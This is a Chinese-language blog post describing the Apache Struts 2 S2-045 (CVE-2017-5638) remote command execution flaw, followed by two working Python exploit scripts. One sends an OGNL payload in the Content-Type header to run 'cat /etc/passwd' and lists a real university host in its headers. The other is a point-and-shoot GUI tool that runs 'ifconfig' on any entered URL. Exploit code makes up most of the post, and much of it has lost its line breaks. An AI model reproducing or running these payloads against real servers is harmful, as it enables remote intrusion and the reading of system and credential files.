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漏洞描述：
Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。
漏洞利用条件和方式：
黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
2.恶意攻击者精心构造Content-Type的值
漏洞影响范围：
Struts 2.3.5 – Struts 2.3.31Struts 2.5 – Struts 2.5.10
poc
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersheader1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"alumnus.shu.edu.cn",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}def poc():register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]='''%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'''request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)response = urllib2.urlopen(request)print response.read()poc()#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersclass START():def __init__(self,root):self.root=rootself.show_W_Text = Text()self.show_url_ed = Label(root, text="str2")self.edit_url = Entry(root, text="输入地址")self.butt_whois = Button(root, text="kill",command=self.poc)self.show_url_ed.pack()self.edit_url.pack()self.butt_whois.pack()self.show_W_Text.pack()def poc(self):w_url = self.edit_url.get()text = self.show_W_Textregister_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request = urllib2.Request(w_url, datagen, headers=header)response = urllib2.urlopen(request).read()text.insert(1.0, response)if __name__ == '__main__':root=Tk()root.title("str2 045")motion=START(root)mainloop()这篇关于Apache Struts 2 S2-045 高危漏洞利用工具poc+Exp的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
